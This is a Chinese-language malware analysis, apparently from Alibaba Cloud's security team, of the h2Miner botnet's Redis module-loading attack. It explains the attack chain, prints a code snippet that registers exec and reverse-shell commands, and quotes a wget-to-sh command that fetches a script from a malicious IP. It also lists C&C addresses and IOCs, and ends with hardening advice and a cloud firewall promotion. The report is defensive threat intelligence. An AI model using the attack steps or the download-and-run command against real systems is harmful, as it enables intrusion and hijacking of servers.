概述
近日,阿里云安全团队监测到h2Miner挖矿僵尸网络蠕虫的一波突然爆发,其利用Redis未授权或弱口令作为入口,使用主从同步的方式从恶意服务器上同步恶意module,之后在目标机器上加载此恶意module并执行恶意指令。
在以往常见的攻击者或蠕虫中,其大多都沿用登陆redis后写入定时任务或写ssh key的方式进行入侵,这种方式受权限与系统类型影响并不一定能够成功。而此次使用redis加载module的攻击方式,可以直接执行任意指令或拿到shell交互环境,危害极大。
由于全网redis近百万台的数量,因此阿里云安全团队建议用户尽量不要将redis服务暴露在公网,及时排查相关弱口令问题及是否受蠕虫影响,必要时可考虑选用安全产品帮助保障安全。
背景
h2Miner团伙
h2Miner是一个linux下的挖矿僵尸网络,通过hadoop yarn未授权、docker未授权、confluence RCE、thinkphp5RCE、Redis未授权等多种手段进行入侵,下载恶意脚本及恶意程序进行挖矿牟利,横向扫描扩大攻击面并维持C&C通信。
Redis RCE
此利用方式由Pavel Toporkov在zeronights 2018上分享,在Redis 4.x之后,Redis新增了Module功能,使用者可以在Redis中加载由C语言编译而成的so文件,从而实现特定的Redis命令。而在Redis主从模式下,可以通过FULLRESYNC同步文件到从机上,从而完成恶意so文件的传输。传输完成后在目标机Redis上进行Module加载,便可执行任意指令。
蠕虫分析
近日,阿里云安全团队发现h2Miner团伙规模突然急剧上升,在短短几日所影响的主机数量翻了一个数量级,阿里云安全团队在第一时间进行了响应。根据分析,整体的攻击链路如下图:
攻击链路
h2miner主要使用Redis RCE的方式来完成入侵,首先利用Redis未授权或弱口令获取Redis登录权限,之后利用使用config set dbfilename red2.so来修改保存文件名,之后使用salveof命令设置主从复制的主机地址。当目标Redis服务与攻击者所有的恶意Redis服务建立主从连接关系后,攻击者控制恶意Redis发送FULLRESYNC进行文件同步,同步的结果会在目标Redis上写入red2.so文件,从而完成了恶意so文件的传输。在此之后,攻击者利用module load ./red2.so加载此so文件,此模块根据传入的参数可以执行任意指令或发起反向连接获取shell环境。
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
在执行类似/bin/sh -c wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1的恶意指令之后,攻击者会将的文件名恢复为默认的,并使用module unload卸载system模块的加载,从而清理相应的痕迹。但依旧在被攻击主机上残留有red2.so文件,建议用户关注自身Redis服务目录下是否有此可疑文件。
跟进其使用的恶意脚本,除了杀死一些恶意进程以抢夺资源之外,会向http://142.44.191.122/kinsing下载恶意二进制文件并运行,因此主机中包含kinsing的进程或目录可能代表此机器已被该蠕虫"光临"。
根据简单的逆向分析结果显示,该恶意程序主要有以下功能:
- 下载文件并执行
- 执行挖矿程序
- 维持C&C通信并执行命令
- 利用masscan对外扫描以扩大影响面
恶意程序函数列表
除此之外,恶意程序中内置了C&C服务器ip地址,受影响的主机会以http的方式与C&C通信服务器进行通信,其中肉鸡的信息在http头部中标识。
内置C&C服务器
GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
其他攻击方式
IOC
/kinsing
142.44.191.122/t.sh
185.92.74.42/h.sh
142.44.191.122/spr.sh
142.44.191.122/spre.sh
195.3.146.118/unk.sh
c&c
45.10.88.102
91.215.169.111
139.99.50.255
46.243.253.167
195.123.220.193
安全建议
- Redis 非必要情况不要暴露在公网,使用足够强壮的Redis口令;
- 排查Redis路径下是否残留red2.so文件,查询主机上是有否包含有kinsing的文件或进程,以确认是否被此蠕虫感染;
- 建议使用阿里云安全的下一代云防火墙产品,其阻断恶意外联、能够配置智能策略的功能,能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明,下载、挖矿、反弹shell这些操作,都需要进行恶意外联;云防火墙的拦截将彻底阻断攻击链。此外,用户还可以通过自定义策略,直接屏蔽恶意网站,达到阻断入侵的目的。此外,云防火墙独有的虚拟补丁功能,能够帮助客户更灵活、更“无感”地阻断攻击;
- 对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。入侵事件发生后,也可介入直接协助入侵后的清理、事件溯源等,适合有较高安全需求的用户,或未雇佣安全工程师,但希望保障系统安全的企业。
本文作者: 苍珀
致谢:桑铎